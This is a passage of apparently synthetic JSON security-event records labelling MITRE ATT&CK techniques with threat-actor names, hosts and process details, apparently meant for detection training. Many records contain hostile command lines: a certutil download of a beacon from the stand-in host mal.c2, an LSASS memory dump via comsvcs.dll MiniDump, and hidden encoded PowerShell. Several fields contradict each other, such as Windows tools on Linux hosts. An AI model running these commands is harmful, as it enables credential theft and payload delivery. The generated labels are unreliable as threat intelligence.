(DS0028)","timestamp":"2025-06-04T11:59:00.000Z","user":{"name":"CORP\\r71akd5sy5lo","sid":"S-1-5-21-933558935-238542634-7887"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Exfiltration","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20250131T093247000Z_0008895","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.23.227.251","name":"AZURE-VM-V0N5VOXIGG","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8895FIN7T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.88.123.196","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-05-01T09:31:53.000Z","user":{"name":"svc_rlbguyri63uo","sid":"S-1-5-21-381142677-553146846-3935"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20250409T101515000Z_0008897","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.73.59.117","name":"AZURE-VM-8HYHBWKLF5","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8897APT29T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.153.184.97","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-04T03:26:55.000Z","user":{"name":"arn:aws:iam::gleys1pav7x9","sid":"S-1-5-21-315923555-120397620-4663"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion","Impact"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20261227T182056000Z_0008899","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.179.64.214","name":"WIN-FIN-SRV-UZEEHCHG6M","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8899UNC4841T1484.001"},"network":{"domain":"github.com","dst_ip":"1.110.205.233","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3880 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-02-27T01:24:48.000Z","user":{"name":"svc_hqiibgmgynnx","sid":"S-1-5-21-914919650-840528538-7693"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20261107T233921000Z_0008901","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.193.125.169","name":"DB-ORACLE-JN2F09RW4V","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8901Mustang PandaT1484.001"},"network":{"domain":"github.com","dst_ip":"1.13.170.219","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-26T12:05:17.000Z","user":{"name":"i-hokkcmdkfc19","sid":"S-1-5-21-230121894-636343498-7892"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Exfiltration","Credential Access"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20260505T175313000Z_0008903","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.182.235.222","name":"DB-ORACLE-T4C09MVJOU","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8903APT41T1071.001"},"network":{"domain":"github.com","dst_ip":"1.56.83.27","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-24T10:30:49.000Z","user":{"name":"i-fn2obeos7ag5","sid":"S-1-5-21-959602793-200906748-2741"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration","Defense Evasion","Execution"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20251207T034436000Z_0008905","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.122.116.134","name":"APP-WEB-KXKJ15828S","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8905Mustang PandaT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.97.52.198","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2334 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-01-15T03:28:59.000Z","user":{"name":"azuread\\7coszccbf08m","sid":"S-1-5-21-633610325-846823885-9287"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250106T044411000Z_0008907","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.87.5.88","name":"AZURE-VM-JDAPXASM6R","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8907Volt TyphoonT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.152.8.25","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2942 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-04-29T04:17:13.000Z","user":{"name":"i-4fqx1c5334v0","sid":"S-1-5-21-862285796-924430367-7422"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20250128T233733000Z_0008909","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.227.75.158","name":"IAM-ROLE-XEDTWP6VVH","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8909Lapsus$T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.142.204.39","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-02-09T17:59:00.000Z","user":{"name":"azuread\\63z21zkandv9","sid":"S-1-5-21-384547124-163667695-9165"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Collection"],"technique_id":"T1570"},"event_id":"evt_fin7_20250111T022146000Z_0008911","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.237.42.141","name":"IAM-ROLE-CMN7TN8I93","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8911FIN7T1570"},"network":{"domain":"github.com","dst_ip":"1.158.199.221","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-28T14:14:32.000Z","user":{"name":"azuread\\1khrnc20y9wb","sid":"S-1-5-21-621399981-596641462-4514"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Impact"],"technique_id":"T1570"},"event_id":"evt_fin7_20251116T042743000Z_0008913","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.230.82.107","name":"IAM-ROLE-LQL5LNV0AK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8913FIN7T1570"},"network":{"domain":"github.com","dst_ip":"1.149.97.54","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-04-29T15:16:00.000Z","user":{"name":"CORP\\lsyglb3yckm6","sid":"S-1-5-21-837621681-494853647-2619"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20260505T030428000Z_0008915","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.37.183.171","name":"DB-ORACLE-P3368N9FHR","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8915Lapsus$T1484.001"},"network":{"domain":"github.com","dst_ip":"1.107.219.171","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1764 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-04-07T06:43:56.000Z","user":{"name":"CORP\\o9gaa0x1t1dr","sid":"S-1-5-21-269333107-788637913-5925"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Lateral Movement"],"technique_id":"T1059.001"},"event_id":"evt_scatteredspider_20260117T020448000Z_0008917","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.18.71.46","name":"DB-ORACLE-MBAN34C4V5","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8917Scattered SpiderT1059.001"},"network":{"domain":"github.com","dst_ip":"1.141.161.151","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-02T15:08:45.000Z","user":{"name":"CORP\\h0e2w8rh9erl","sid":"S-1-5-21-565531355-249302356-5562"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance","Lateral Movement"],"technique_id":"T1531"},"event_id":"evt_apt41_20250321T153225000Z_0008919","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.29.22.32","name":"IAM-ROLE-0N2Y6FYWFQ","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8919APT41T1531"},"network":{"domain":"github.com","dst_ip":"1.161.76.7","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-05-17T01:14:19.000Z","user":{"name":"svc_jw3z20by0wa4","sid":"S-1-5-21-480955134-311046002-1978"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation"],"technique_id":"T1531"},"event_id":"evt_lapsus_20260804T014703000Z_0008921","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.220.100.229","name":"DB-ORACLE-NG9QRUJ56I","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8921Lapsus$T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.115.5.21","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2647 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-09T23:14:08.000Z","user":{"name":"CORP\\f12vu66bwjkz","sid":"S-1-5-21-801847236-699322506-2368"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20260308T193508000Z_0008923","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.3.46.16","name":"DB-ORACLE-U89GV0OAKC","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8923UNC4841T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.125.204.226","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-01T03:44:31.000Z","user":{"name":"arn:aws:iam::dehmqfqwd1oh","sid":"S-1-5-21-798869641-682673932-9346"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Credential Access"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20251008T041303000Z_0008925","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.247.154.205","name":"WIN-FIN-SRV-A5C8AD59LQ","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8925APT29T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.128.229.49","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-06T01:24:57.000Z","user":{"name":"azuread\\v8pdj08m7iek","sid":"S-1-5-21-553103700-245901273-2893"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Privilege Escalation","Initial Access"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20250422T180406000Z_0008927","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.217.58.132","name":"EC2-INST-GE9NR5W3E1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8927APT29T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.33.53.172","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-07-12T22:14:20.000Z","user":{"name":"svc_co8jte593y1i","sid":"S-1-5-21-366553800-508539718-8980"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Reconnaissance","Collection"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20250224T022535000Z_0008929","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.229.232.140","name":"APP-WEB-LNAE5XLAJN","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8929Volt TyphoonT1059.001"},"network":{"domain":"github.com","dst_ip":"1.46.33.211","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-12T21:30:48.000Z","user":{"name":"arn:aws:iam::zj5pq5saw4si","sid":"S-1-5-21-580313779-576824432-4022"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Defense Evasion","Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20251119T032445000Z_0008931","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.220.3.133","name":"APP-WEB-HW8NOSMRCP","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8931Lapsus$T1071.001"},"network":{"domain":"github.com","dst_ip":"1.17.98.119","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3886 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-03T21:27:22.000Z","user":{"name":"CORP\\fimor24it5yl","sid":"S-1-5-21-412890990-418736378-8378"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Privilege Escalation","Credential Access","Impact"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20250325T065303000Z_0008933","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.154.136.228","name":"APP-WEB-7FPB6JZJGN","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8933FIN7T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.5.145.15","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-10-04T01:09:14.000Z","user":{"name":"arn:aws:iam::jnmzf3f1ym4d","sid":"S-1-5-21-840004922-264363675-5427"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Impact","Collection","Discovery"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250508T140221000Z_0008935","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.135.123.135","name":"AZURE-VM-IOIBICTWPU","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8935Lapsus$T1546.003"},"network":{"domain":"github.com","dst_ip":"1.29.175.135","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-12-30T13:01:01.000Z","user":{"name":"arn:aws:iam::e14y5sshvbgm","sid":"S-1-5-21-840090453-188768401-5444"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation","Defense Evasion"],"technique_id":"T1531"},"event_id":"evt_apt41_20250724T223021000Z_0008937","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.60.253.244","name":"IAM-ROLE-1RCG71C3PA","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8937APT41T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.53.73.118","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-10-12T22:22:15.000Z","user":{"name":"arn:aws:iam::4uk0nej8eduh","sid":"S-1-5-21-827331206-143276719-3688"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Discovery","Command and Control"],"technique_id":"T1531"},"event_id":"evt_fin7_20250414T235455000Z_0008939","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.85.88.240","name":"DB-ORACLE-QJQDF5JUPU","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8939FIN7T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.103.96.192","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-01-13T00:53:25.000Z","user":{"name":"i-0q73u6elfyrd","sid":"S-1-5-21-978911997-897483947-8161"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact","Privilege Escalation","Initial Access"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20261013T022646000Z_0008941","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.201.83.177","name":"WIN-FIN-SRV-BIU9ECQN53","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8941UNC4841T1566.001"},"network":{"domain":"github.com","dst_ip":"1.180.240.99","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Sysmon 